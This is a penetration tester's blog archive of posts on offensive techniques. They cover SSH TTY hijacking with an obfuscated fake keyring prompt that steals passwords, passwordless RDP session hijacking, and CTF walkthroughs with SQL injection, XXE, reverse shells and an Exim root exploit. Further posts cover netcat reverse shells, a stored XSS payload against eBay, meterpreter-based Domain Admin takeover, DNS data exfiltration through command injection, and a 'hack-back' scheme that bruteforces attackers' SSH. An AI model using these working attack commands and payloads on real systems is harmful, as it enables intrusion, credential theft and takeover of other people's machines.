Saturday, September 30, 2017

SSHPry v2 - Spy & Control SSH Connected client's TTY

- What if we'll have a tool that can show us a terminal of active SSH connection?
and... maybe... control it? Record it? Investigate?

I always curious about what can be done after you somehow got root and already talked about some techniques of post exploitation with highly privileged accounts:
1. SSH Snooping
2. RDP Session Hijacking

Today I want to talk about linux terminals - TTYs.

Hurry? Scroll down to Demo.

- Observation -

Every *nix user should already know about GNU Screen, especially of it's '-x' multi display mode feature, that allows to observe an attached screen session.
That's cool, but what if we don't have screen on the target machine?

I don't know nothing about terminal emulators, so i can make mistakes, but...
As mentioned in SSH Snooping attack, we can utilize 'strace' to get all process' syscalls read/write including root's password.

As you may already know, I've implemented this technique to get ALL read() strings of connected ssh client in script that mirrors a terminal of connected SSH client.

BTW, main python trick was 'string'.decode('string_escape') and voila we've got identical terminal session!

So far so good, but not enough, we need full control.

- Taking Control -

Firstly, I wondered how can I send some data or keystrokes to another TTY. Because if you make something like this:
echo 123 > /dev/pts/19
It will appear on that TTY but only as standard output, meaning, if you press Enter - nothing happens.

I've found utility in C that actually sends data to another TTY, but the downside that it needs to be compiled. Luckily google come up with python library that can do that!

import termios, fcntl
import sys

command = sys.argv[1]
tty = sys.argv[2]

with open(tty) as f:
   for c in command.decode('string_escape'):

Secondly, thanks to enrico.bacis answer on StackOverflow, I've learned how to catch my keyboard input.

By combining all these techniques and spawning two separate threads one for echoing 'strace' strings to our terminal and second for transferring our standard input to target TTY we get a tool that replicates GNU screen '-x' feature without screen itself with couple more #redteam and #blueteam related cool features.

Once we get full control over the session, and we get all strings - we can make some phishing :)

- Console-Level Phishing -

As we already know 'echo 123 > /dev/pts/TTY'  does not affect terminal except standard output, we can create custom phishing messages to target user/tty.
Furthermore, we can utilize terminal escape sequences, which described here and here, then craft a realistic phishing message:

We see login keyring message, but instead we have executed some evil script:

import termios, fcntl
import sys
from time import sleep

tty = sys.argv[1]

command = 'python -c \'exec("aW1wb3J0IGdldHBhc3MNdHJ5Og0gZ2V0cGFzcy5nZXRwYXNzKCkNZXhjZXB0Og0gcGFzcw0=".decode("base64"))\'\n'
message = '\033[2A\033[2K\r'+' '*(len(command)+20)
message += '\nEnter password to unlock your login keyring:'

with open(tty) as f:
   for c in command.decode('string_escape'):
with open(tty,'w') as f:

While listening to all strings with 'strace', we can get clear-text password of any logged in user, especially root.

- Record & Replay -

While the initial idea was offensive, once I've developed the tool came out that it can be useful to all kind of defenders: Blue-Teams, Incident Response and Forensics.

I've developed a feature that allows to record an SSH session of connected client, and then replay it to investigate what happened.

- Demo -

- Get It -

Developed under GNU General Public License v 3.0

Friday, July 14, 2017

Install Metasploit the easy way without RVM

Install metasploit the easy way

Don't copy&paste, think before.
- wget && tar xzf stable-snapshot.tar.gz && cd stable-snapshot
- Debian: apt-get install gcc libpq-dev libsqlite3-dev zlib1g-dev libssl-dev readline-common libpq-dev libpcap-dev
- Centos: yum install gcc gcc-c++ zlib-devel openssl-devel readline-devel postgresql-devel libpcap-devel sqlite-devel
- ./configure && make && make install && cd ..
- git clone
- gem install bundle
- cd metasploit-framework && bundle install
- Make symlinks: for MSF in $(ls msf*); do ln -s `pwd`/$MSF /usr/local/bin/$MSF;done

Thursday, June 29, 2017

Easy Komodo CTF Walkthrough/Solutions. Wasted 2:45h of my life.

Easy challenges by Komodo Israel, completed in 2 hours 45 minutes (have proof :).

For the report, original leader-board looked like this:

Challenge 1 - Union based SQL Injection:

GET Request:' union select 1,flag,3,4,5 from flags%23

Challenge 2 - SQL Injection via ORDER/GROUP by:

GET Request:,concat(0x0a,(select flag from flags)))-BR

Challenge 3 - XXE:

Enable hidden form:

POST Request:
data=<?xml version="1.0" ?>
<!DOCTYPE nopernik [
<!ENTITY lame-xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/challenge-3.php">]>

Challenge 4 - Variable assignment via extract():

Get hint and PHP source code:
root@nopernik:~# echo ICcnLmpvaW4oW2NocihvcmQoaSleODIpIGZvciBpIGluICdcJyE3ciQ7NyUhPVwnIDE3ciIzIDM/J10p|base64 -d
 ''.join([chr(ord(i)^82) for i in '\'!7r$;7%!=\' 17r"3 3?'])

root@nopernik:~# python
>>> ''.join([chr(ord(i)^82) for i in '\'!7r$;7%!=\' 17r"3 3?'])
'use viewsource param'
GET Request:

From source code we can understand that the main functionality of the script is to send email. We have to find out how to inject our email address into $sendTo variable.
For that purpose we will utilize extract() function, which will assign every value from given array to variable named by key name. $_GET[] - is an array that will passed to extract() function. We can manipulate that array via GET Request.
Also we can see that the script will print out $error value. Let's verify that:
We will see lame-challenge in server's response.

Next, we want to change $sendTo variable, luckily it is assigned before extract() function.
Check your spam folder.

Challenge 5 - Weak encryption:

Once we log in with some name except "admin" we will get cookie:
Then by decoding that cookie and changing the first character, we will see the server's output changed.

Using "bdmin" account, by changing the first character, we can easily bruteforce cookie for "admin" account with only 256 requests.

Python one-liner script that will generate all possible variations:
a='your_cookie'.decode('base64'); print ''.join([(chr(i)+a[1:]).encode('base64') for i in range(256)])

Paste 256 resulting lines into intruder, and get your flag:

Challenge 6 - NO SQL Injection:

Everyone stucks with overflow the stack with 1885979.
But if you goolge it, you will get
Arrays?? NO SQL Injection.

POST Request:

Challenge 7 - MongoDB Injection:

MongoDB & Javascript

POST Request:
question='});return db.getCollectionNames();}//&validate=Ask

Friday, March 17, 2017

Passwordless RDP Session Hijacking Feature All Windows versions

* This post periodically updated, all updates in the end of the post.

Update: Added Windows Server 2016 Datacenter Demo

Hey there,

Blogpost in 20 seconds: Fun with sethc backdoored host :) somewhere in the internet:

Recently i've played with sethc/utilman logon screen backdoors, and almost everytime i used just command line.
Occasionally i've looked at Users tab in Task Manager (taskmgr.exe), and clicked connect button, and surprisingly i've got connected to selected user's session.

When i checked it again with local admin rights, it failed by asking user's password.
Why and how that happened? Let's dig deeper.

Related to Microsoft documentation:

we can see couple important remarks:


  • You must have Full Control access permission or Connect special access permission to connect to another session.
  • The /dest:<SessionName> parameter allows you to connect the session of another user to a different session.
  • If you do not specify a password in the <Password> parameter, and the target session belongs to a user other than the current one, tscon fails (not really).
I've got it! Sticky Keys (cmd backdoor) at windows login screen runs with NT AUTHORITY/SYSTEM and have Full Control access permission, and can connect to EVERY user session without asking for a password.

So we've got a session hijacking here. The most funny thing is that the legit user isn't asked for logout, by using this technique the user just will be kicked out of the session without any notification.

Attack Vector Details:

A privileged user, which can gain command execution with NT AUTHORITY/SYSTEM rights can hijack any currently logged in user's session, without any knowledge about his credentials.
Terminal Services session can be either in connected or disconnected state.

This is high risk vulnerability which allows any local admin to hijack a session and get access to:
1. Domain admin session.
2. Any unsaved documents, that hijacked user works on.
3. Any other systems/applications in which hijacked user previously logged in (May include another Remote Desktop sessions, Network Share mappings, applications which require another credentials, E-mail etc.)

Example scenario: 

Some bank employee have access to billing system, and it's credentials to login.
One day, he come to work, logging in to the billing system and start to work. At lunch time he will lock his workstation, and out to lunch.
Then, system administrator gets to employee's workstation, and logs in with his administrator's account.
According to the bank's policy, administrator's account should not have access to the billing system, but with couple of built-in commands in windows, this system administrator will hijack employee's desktop which he leaved locked. From now, sysadmin can perform malicious actions in billing system as billing employee account.

There are huge amount of scenarios like this.

Furthermore, an attacker doesn't need to use tools like metasploit, incognito, mimikatz etc, which is commonly used for user's token manipulation and impersonating logged in users. Everything is done with built-in commands. Every admin can impersonate any logged in user either locally with physical access or remotely via Remote Desktops (see PoC).

Tested on:

Windows 2016 (Confirmed by Kevin Beaumont @GossiTheDog)
Windows 2012 R2
Windows 2008
Windows 10
Windows 7

We can talk about endless amount of examples.

It can be done remotely, as shown in Proof of Concepts.

An attacker can hijack active or disconnected session remotely via remote desktops.
I use this technique about three weeks in my on-going penetration tests on daily basis. It in very simple way helps me to get access to sensitive information like emails, opened documents, clear-text passwords that administrators write down in notepad (not intended for saving, but for temporally writing it somewhere), opened RDP sessions to another external domains (think cloud), or another applications that make use of different login credentials.

Someone can say, if you admin, you can dump server's memory and parse it. That's correct, but you don't need it any more. Just two simple commands and you are in. The most incredible thing, is that I don't need to know the credentials of hijacked user, it is pure passwordless hijacking.

A successful attack heavily related on time and gathered information. If you need to dump a memory, to get your sensitive info, you're in problem. That means that you've tried all quick-wins that you know.

In example of hijacking user (active or disconnected) while he is working now remotely on some sensitive server that i have no access to, and haven't even knew about it, this technique allows me to compromise that server in less than a minute. Everything is real and from my own experience.

Furthermore, as I understand it is very hard to catch if this attack happen. Kevin Beaumont @GossiTheDog make an alert on tscon.exe usage, with Microsoft OMS.

I had a conversation about this finding with Benjamin Delpy @gentilkiwi author of mimikatz:
"That is normal Windows API, that's the design flow, they use it. As mentioned earlier, if you admin, you can do everything. But here is the point. Why and HOW you become admin? If some unprivileged user becomes admin using some kind of local privilege escalation - that's the problem and not the design flow we are talking about. You can do everything, even patch terminal services the way that it will accept your token and allow shadowing mode, without user's knowledge.", he said.

Proof of Concept:

Microsoft documentation helps us to do that from command line:

All we need is NT AUTHORITY/SYSTEM command line. 
Easiest method with psexec, but requires psexec.exe to be there: 
psexec -s \\localhost cmd

Another method is to create a service that will connect selected session to ours.

1. Get all sessions information:
C:\Windows\system32>query user
 administrator                             1  Disc            1  3/12/2017 3:07 PM
>localadmin            rdp-tcp#55          2  Active          .  3/12/2017 3:10 PM

2. Create service which will hijack user's session:
C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
[SC] CreateService SUCCESS
3. Start service:
net setart sesshijack

Right after that your session will be replaced with target session.

Proof of Concept video:

Windows Server 2016 Demo (new):

Windows 7 via Task Manager:

Windows 7 via command line:

Windows 2012 R2 via service creation:

Update:  has found that before in 2011, so that is a feature and not zero-day:

Update: If you still think that this don't have high attack value, read a great writeup by Kevin Beaumont about this feature:

Update: RedSnarf has now support in RDP Hijacking

Wednesday, March 15, 2017

Pluck 1 CTF

Love this challenge :)
The main point I think, is to pay attention to details. It is most important.

Ok let's start:

Nmap scan report for
Host is up (0.00099s latency).
Not shown: 97 closed ports
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 00:0C:29:01:7F:D6 (VMware)

In web application we find straitforward LFI:

Shows us two interesting rows:

paul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenu (next challenge?)
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/

Let's see script:

#Backup directories in /backups so we can get it via tftp

echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null

Seems that tftp server running.
tftp> get backup.tar
Received 1824718 bytes in 0.3 seconds
tftp> exit

tar xvf backup.tar
Digging in backups...
admin.php is sql injection trolling so there is no sql injection

/home/paul/keys/ : a lot of private/public keys pairs found

working key:
ssh -i id_key4 paul@pluck

In all options, arbitrary command can be executed via $(id).
Using php reverse shell one liner:
$(php -r '$sock=fsockopen("",80);exec("/bin/sh -i <&3 >&3 2>&3");')
and listener:
nc -lvp 80
Listening on [] (family 0, port 80)
Connection from [] port 80 [tcp/http] accepted (family 2, sport 53278)
$ id
uid=1002(paul) gid=1002(paul) groups=1002(paul)
Finding for SUID files:
find / -perm -4000 -ls 2>/dev/null

Reveal us a vulnerable Exim application:
   153966   1024 -rwsr-xr-x   1 root     root      1046368 Jan 18 08:54 /usr/exim/bin/exim-4.84-7

Exploit is very simple and trivial to use, also you may find a hint in .viminfo file
Seems to be Exim local privilege escalation testing and the author forgot to clean it properly :)
-'  1  0  /tmp/
-'  4  0  /tmp/
Let's try:
exploit-database: 39535
$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
uid=0(root) gid=1002(paul) groups=1002(paul)
$ cd /root
$ ls
$ cat flag.txt

Congratulations you found the flag


######   ((((((((((((((((((((((((((((((
#########   (((((((((((((((((((((((((((
,,##########   ((((((((((((((((((((((((
@@,,,##########   (((((((((((((((((((((
@@@,,,##########   &&&&&&&&&&&&&&&&&&&&
,,,##########   &&&&&&&&&&&&&&&&&&&&&&&
##########   &&&&&&&&&&&&&&&&&&&&&&&&&&
#######   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Cool :)
Uptime: 45 min

Wednesday, March 1, 2017 - Nopernik's Attacking Honeypot. ("NAH") или нах!

NAH is distributed system, which is located in most parts of the world.
On each system you can find this Terms of Use.

Terms of use.

By using any of provided services, you completely agree with next statements:

1. Once you send me SYN packet to commonly used ports that involved in botnet bruteforce attacks, which include but not limited to SSH and/or RDP, you provide to "NAH" and the owner exclusive right to attack back in any way your public IP address, disclose/share/sell your IP and/or data to the public, including wordlist that have been used in your attack.

2. Once correct credentials recovered, you completely agree and provide to "NAH"/owner/third parties choosed by the owner exclusive right to perform any manipulation with your machine and/or IP and/or internet access, you agree to removal of all known/unknown malicious software and/or botnet agents.

3. With that said, you provide to "NAH" and the owner FULL and LEGAL access to your network-connected device.

# ./ 
Found a new jerk! [censured].XXX.XXX:22
Bruteforcing SSH: [censured].XXX.XXX 

[22][ssh] host: [censured].XXX.XXX   login: root   password: ThisPassw0rdMightBeDefault!
1 of 1 target successfully completed, 1 valid password found

Credentials found!

Getting whois info...
Gathering system information...
Finding malware/botnet agents...
Found! Removing...
Sending email...

Waiting for another one...

Proof of Concept will be soon. Stay tuned.

Monday, July 18, 2016

msfvenom Bash Completion Generator

I've spent a lot of time in writing commands for msfvenom... Tired and automated it with Bash Completions. Outdated version can be found here.

But in this case, every new payload should be added manually. Not fun.

Again, some automation and now it will be automatically generated.
root@kali:/opt/metasploit-framework# git clone 
Cloning into 'msfvenom-bc-generator'...
remote: Counting objects: 9, done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 1), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (9/9), done.
root@kali:/opt/metasploit-framework# mv ./msfvenom-bc-generator/msfvenom_bc_generator.rb .
root@kali:/opt/metasploit-framework# ruby msfvenom_bc_generator.rb 
[+] Collecting output formats
[+] Collecting payloads
[+] Collecting encoders
[+] Collecting nops
[+] Generating bash_completion file
[+] Writing out /etc/bash_completion.d/msfvenom
[+] Done. Open a new terminal and type msfvenom TABTAB :)

root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/ <tab><tab>
linux/x86/adduser                         linux/x86/meterpreter/reverse_tcp         linux/x86/shell_bind_tcp_random_port
linux/x86/chmod                           linux/x86/meterpreter/reverse_tcp_uuid    linux/x86/shell/bind_tcp_uuid
linux/x86/exec                            linux/x86/metsvc_bind_tcp                 linux/x86/shell_find_port
linux/x86/meterpreter/bind_ipv6_tcp       linux/x86/metsvc_reverse_tcp              linux/x86/shell_find_tag
linux/x86/meterpreter/bind_ipv6_tcp_uuid  linux/x86/read_file                       linux/x86/shell/find_tag
linux/x86/meterpreter/bind_nonx_tcp       linux/x86/shell_bind_ipv6_tcp             linux/x86/shell/reverse_ipv6_tcp
linux/x86/meterpreter/bind_tcp            linux/x86/shell/bind_ipv6_tcp             linux/x86/shell/reverse_nonx_tcp
linux/x86/meterpreter/bind_tcp_uuid       linux/x86/shell/bind_ipv6_tcp_uuid        linux/x86/shell_reverse_tcp
linux/x86/meterpreter/find_tag            linux/x86/shell/bind_nonx_tcp             linux/x86/shell/reverse_tcp
linux/x86/meterpreter/reverse_ipv6_tcp    linux/x86/shell_bind_tcp                  linux/x86/shell_reverse_tcp2
linux/x86/meterpreter/reverse_nonx_tcp    linux/x86/shell/bind_tcp                  linux/x86/shell/reverse_tcp_uuid
root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/

Sunday, July 17, 2016

LAN to VPN Reverse Shell (Reverse SSH Technique)

Hi there,

How to get reverse shell if you are behind VPN (NAT) and you can't or don't want to make port-forwarding?
It's another, less popular reverse shell method, that needs some requirements and preparations.

reverse shell, hacking, ssh tunneling

By the way, you may try out UDP Hole Punching Technique or use this one instead.

Do do so, you will need some linux box with public IP and root access level.

Let's create Reverse shell via Reverse SSH Tunnel:

1. Start up exploit/multi/handler listening on 443 port (locally):
use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST
msf exploit(handler) > set exitonsession false
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 
[*] Starting the payload handler...
msf exploit(handler) > 

2. Create Reverse SSH Tunnel with public linux box:
root@kali:~# ssh -R 443:

Just to remind ssh tunneling syntax:
-R will open port 443 on and will forward all traffic to attackers host in our case:

3. Run reverse shell on victim's host.
4. Profit!

But to make it work you should add this line to /etc/ssh/sshd_config file (on linux host):
GatewayPorts yes

Otherwise, linux box will listen on localhost only and will be unable to accept connections externally.

Attack Flow Diagram

Hi there,
I've tried to organize common tasks within internal network penetration testing. Haven't seen something like this before..

PDF can be found here:

hacking, attack flow, penetration testing

Many aspects are excluded from this diagram, and i'm pretty sure that i forgot something.
Guys, i will be more than happy to hear suggestions on upgrading this diagram.

Monday, July 11, 2016

LAN to VPN Reverse shell (UDP Hole punching)

Did you know that you can use netcat in UDP mode?

Why it is useful?

Imagine two hosts: Alice and Bob that both located behind NAT. And they want to exchange some data... In TCP scheme you can't accomplish that without port forwarding, but with UDP...

This technique called UDP hole punching:
1. Alice sends packet to Bob's public IP, lets say, any statefull packet inspection (SPI) firewall will start session from Alice local host to
2. Bob's firewall will drop that packet.
3. Bob sends another packet to Alice's public IP, lets say, and again Bob's SPI firewall will start session.
4. Woala! Alice got UDP packet from bob.
From now, both Alive and Bob have opened sessions and may communicate each other without interference.

How it may look from an attacker's view?
Easy. Hacker that stay behind of some kind VPN may get reverse shell on your local host in enterprise network.
This way:

On attacker host:
nc -up vpn_port attackerVPNpublicIP victim_source_port

On victim host:
nc -up victim_source_port attackerVPNpublicIP vpn_port -e c:\windows\system32\cmd.exe

Proof of Concept:
Any bittorrent client :)

More info:

Saturday, July 9, 2016

RCE by abusing NAC to gain Domain Persistence.

Hi there!
I want to share how to compromise whole enterprise network in less than ONE minute :)

If you'll refer to this article, please leave credit to Alexander Korznikov & Viktor Minin.. thanks.

Let's begin... As security consultants, we often advice to our clients to implement Network Access Control systems to prevent some nasty people to do their nasty things...

This article is not about how to bypass Network Access Control systems, but if you're interested, read this:
In two words, NAT can bypass almost everything and stay undetectable in enterprise network.

So when somebody (huge organisations) implementing NAC in their network environment, they are implementing a huge backdoor -  called NAC.

Let me explain some NAC logic:
1. Check for trusted MAC address.
2. Check installed components/registry keys in workstation via WMI interface.
3. Check another stuff in workstation's NAC agent.

Wait for a second. How NAC will connect to a workstation to check (2) Registry Keys via WMI?
Right. SMB Authentication with highly privileged account, in Domain Admin group.

Let's assume these:
1. We have a list of workstation's IPs gathered in passive reconnaissance (wireshark for example)
2. We know which IP belongs to Domain Contoller.

Is something or someone can prevent me from performing SMB-Relay attack? NO!
On servers this will not work, because of SMB Signing option is required.

We take some workstation IP address, and while NAC is performing it's host validation, we will relay SMB authentication to legitimate workstation.

It is trivial, but as result we are able to:
1. Reuse this authentication token and create a new Domain Admin account.
2. In case if this fails, we can create a local administrator account on ANY workstation.
3. Extract credentials of ALL local users including local admins.
4. Gain full control of the corporate network, including Domain Admin accounts.

All this is done in less than ONE minute, before the port will be closed (by NAC).

This issue was tested on several Network Access Control systems.

Bottom line: Think twice before advice.

Leave credits to:
Alexander Korznikov & Viktor Minin

Monday, June 20, 2016

XSS Challenges for All levels. Check this out!

Just updated the challenges.

Stay tuned.

Tuesday, June 7, 2016

Web-App Penetration Testing Cheat-Sheet

  2. Login Page? Default Credentials.
  3. Wordpress: wpscan --url --enumerate vp --random-agent
  4. nikto -host
  5. wfuzz -I -c t 60 -w your_dictionary.txt  --hc 404,302 // i like it more than dirbuster
  6. Open Burp Suite, explore application, analyze requests/responses.
  7. Pass to every parameter character validation locator '">my_string\ //there Apostrophe, Quote and escaping char at the end.
  8. Configure Burp to intercept responses if "my_string" is found. // This may reveal XSS & SQL Injection and other errors
  9. Is there file upload functionality?
  10. "page" param in url? LFI/RFI?
  11. XML? XXE.
  12. See console-alike output? Command Injection?
  13. In case of command injection, don't forget to: nc 5353
  14. Is there WebSockets? Open network tab in browser or Burp Suite for easy examination.
  15. Google for outdated scripts: ext:php
  16. In google's results, append to the end of url: &filter=0&start=900 to analyze most outdated results.
  17. Look for application logic issues: like sending price in request.
  18. Suggestions??

quick post... any suggestions?

Knocking Server in 50 lines with Scapy

You may prefer knockd daemon, but i prefer something custom.. as always.

If you don't know what it is, google for Port Knocking.

Get my knocking client-server:
git clone

On server-side, i have this iptables config:

root@ubuntu:~# iptables-save
-A INPUT -i lo -j ACCEPT
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

I'm using whitelisting technique, so all policies set to DROP.
This particular machine will not reply to pings, and will seem to be down.

But, it runs my knocking server and web server in background.
It will accept connection to the web server only if knocking-client will active.

Configuration is pretty simple, just open the source.

Sunday, May 1, 2016

My XSS Challenge

Try your XSS skills:

Feedback are welcome!

Wednesday, February 17, 2016

Persistent (Stored) DOM XSS on domain

Persistent DOM XSS on domain.

In details... :)

One of my hobbies, is selling on ebay.
In January 2015, i've analyzed creation of selling page, and how it's handled by

If we look at random listing, we'll notice, that user's content loaded from, so if you try to execute some javascript on your custom listing, you will get alert from

It's ok, it's "secure".

But, if we'll go deeper, we will notice that our page load one strange external javascript at the bottom of user's content page:

By analyzing that script, i've notices that there presents postMessage function:

and... if there is postMessage, so somewhere should be some kind of receiveMessage().
There are a lot of postMessages, and i've decided to search by domain name.

Let's search for in all resources:

then it's key 'tgto' as origin:

Bingo! There are two variables that are rendered to the client!
1. _odtTitle
2. _odtSubTitle

Now i need to write a working XSS for it with some evasions, because of simple filtration...

Base payload:
_odtTitle='\<script\>alert(\'xss by alexander korznikov\\n\\n\'\+document.domain);\<\/script\>';

Encoded with base64 and appended to listing description in <script> tag:

code = atob("X29kdFRpdGxlPSdcPHNjcmlwdFw+YWxlcnQoXCd4c3MgYnkgYWxleGFuZGVyIGtvcnpuaWtvdlxcblxcblwnXCtkb2N1bWVudC5kb21haW4pO1w8XC9zY3JpcHRcPic7")

window.onload = function() {
   var s = document.createElement('script');
   s.type = 'text/javascript';
   s.text = code;

Thank you eBay for this cool challenge! :)

P.S. But why did you managed to fix it for one year?

Wednesday, January 13, 2016

Network Penetration Testing. Domain Admin Quick Win #1.

Let's start with sequence of posts about network penetration testing.

In every Network PT, my goal is Domain Admin account.

Every time get ethernet wall jack inside some organization, and start testing it without any prior knowledge about internal network topology, IP addresses etc.

First of all, because of no knowledge if there is some implementation of NAC (Network Access Control), i perform a passive information gathering about the network, IP addresses etc.

Configure your network-manager, that it will not request IP address from DHCP Server, to be quiet as possible.

So I start listening to traffic with wireshark and go out to take a cigarette :)
Almost every computer talks. Broadcasting...
Even on small network, many many packets pass in.

REMEMBER, Do not query DHCP Server for an IP Address!
In first step there's only passive scanning. Fully promiscuous... :)

When I come back from a smoke break, i've already got a list of stations broadcasting and exposing itselves.

Wireshark > Statistics > Endpoint List > IPv4

In terminal:

# nano a
Ctrl+Shift+V (paste)

# cat a | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > hosts.txt

Let's assume that there is no NAC implemented (will talk about NAC Bypass in another post...)

Now we have full network access including small list of active hosts.

As always, i will have a windows based network, with Active Directory services and lot of workstations.

What to do?
Quick win: LLMNR & Netbios  poisoning. Responder.

As i understood from dozens network penetration testings, organizations have two major weaknesses:
1. Weak password policy.
2. Domain User == Local Administrator on his/her workstation.

Responder will throw you large amount of NetNTLMv1/v2 hashes, that probably will be easy to crack.

/* Responder is very cool tool, that will answer to every LLMNR broadcast query, asking for downgrade to NETBIOS, and then request a hashed password.
It's based on human factor (typos), outdated scripts, laptops that making use of multiple networks, etc... */

Download and try it now :) it has many other features. Explore it in your free time.

You will get hashes like these:

NetNTLM hashes can be cracked with many tools, i prefer: John-the-ripper / cudaHashcat / oclHashcat

In our first case, we successfully cracked some hash:
# cudaHashcat -m 5500 -a 0 responder_hashes.txt wordlist.txt
# hashcat -m 5500 responder.txt --show
cudaHashcat v2.01 starting...


I like metasploit.
# msfconsole

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set smbdomain testdomain
msf exploit(psexec) > set smbuser johny
msf exploit(psexec) > set smbpass Qwerty123
msf exploit(psexec) > set rhost
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp_rc4
msf exploit(psexec) > set rc4password supersecret
msf exploit(psexec) > set LHOST <TAB><TAB>
msf exploit(psexec) > set lport 443
msf exploit(psexec) > run

[*] Started reverse TCP handler on
[*] Connecting to the server...
[*] Authenticating to as user 'johny'...
[*] Selecting PowerShell target
[*] - Executing the payload...
[+] - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957491 bytes) to
[*] Meterpreter session 1 opened ( -> at 2016-01-13 02:51:30 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Now we've got a workstation in this organization.

Quick win #1 Pass the token (the simple way):
meterpreter > ps
Process List

 PID    PPID   Name                            Arch  Session  User                          Path
 ---    ----   ----                            ----  -------  ----                          ----
 0      0      [System Process]                                                             
 4      0      System                          x64   0                                      
 192    904    csrss.exe                       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 544    836    winlogon.exe                    x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 556    848    lsass.exe                       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 716    4      smss.exe                        x64   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
 1224   7016   schedhlp.exe                    x86   2        testdomain\domadmin           C:\Program Files (x86)\Common Files\Acronis\Schedule2\schedhlp.exe
 1232   920    svchost.exe                     x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1336   920    svchost.exe                     x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1520   920    schedul2.exe                    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\Common Files\Acronis\Schedule2\schedul2.exe
 1672   920    svchost.exe                     x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1760   920    afcdpsrv.exe                    x86   0        NT AUTHORITY\SYSTEM           c:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe
 1924   920    spoolsv.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1988   920    svchost.exe                     x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 2104   920    AppleMobileDeviceService.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
 2436   920    LMS.exe                         x86   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
 2464   920    xrksmdb.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\Xerox Office Printing\WorkCentre SSW\PrintingScout\xrksmdb.exe
 2496   2808   RAVCpl64.exe                    x64   1        testdomain\johny              C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
 2500   920    iPodService.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\iPod\bin\iPodService.exe
 2524   1336   audiodg.exe                     x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\audiodg.exe
 2808   2768   explorer.exe                    x64   1        testdomain\johny              C:\Windows\explorer.exe
 2872   7016   egui.exe                        x64   2        testdomain\domadmin           C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe
 2908   2744   Paragon ExtFS for Windows.exe   x86   1        testdomain\johny              C:\Program Files (x86)\Paragon Software\Paragon ExtFS for Windows\Paragon ExtFS for Windows.exe
 2936   2808   ipoint.exe                      x64   1        testdomain\johny              C:\Program Files\Microsoft IntelliPoint\ipoint.exe

Stealing testdomain\domadmin token:
meterpreter > migrate 2872
[*] Migrating from 12104 to 2872...
[*] Migration completed successfully.
meterpreter > shell


c:\net user domadmin /domain
The request will be processed at a domain controller for domain testdomain.local

User name                     domadmin
Full name
Global Group memberships      *Domain Admins      *Domain Users
The command completed successfully.

c:\net user support myPass123 /add /domain
The request will be processed at a domain controller for domain testdomain.local

The command completed successfully.

c:\net localgroup administrators support /add /domain
The request will be processed at a domain controller for domain testdomain.local

The command completed successfully.

c:\net group "Domain Admins" support /add /domain
The request will be processed at a domain controller for domain testdomain.local

The command completed successfully.
Game over.

Next post will be another examples gaining domain admin account.
See you!

Monday, December 7, 2015

Out of Band Injection Testing: Free public NS Query server

In case of blind injection testing, and in addition to previous post, i'm launching a pilot version of my DNS Server (Free for now).

Open up your terminal and connect to on port 5353:

~# nc 5353

Your match string [a-z0-9]{5,} only [e.g. nicolas]: nicolas

Example query:
{"date": "06-Dec-2015", "query": "", "client": "", "time": "17:27:44.409"}

In my last WebApplication Penetration Test, i was able to read source code of PHP application, and there was a place with exec() function.
The problem that I didn't get any output, and regular techniques of "sleep 60" does not seems to be working.

With my NS server I've successfully exfiltrated data over DNS queries.

PHP source:
exec('/opt/someprogram "$filename" "$tmppath"')

Successful injection:
/opt/someprogram blahblah.jpg /tmp/images$(host

Get WGET Version with this technique:
/opt/someprogram blahblah.jpg /tmp/image$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.')

With this output:
{"date": "xx-xxx-2015", "query": "", "client": "xx.xx.xx.xx#63325:", "time": ""}

It may be useful with Command Injection, for example:
$(host $
| ping $ |
&& nslookup &&

Blind SQL Injection like this:
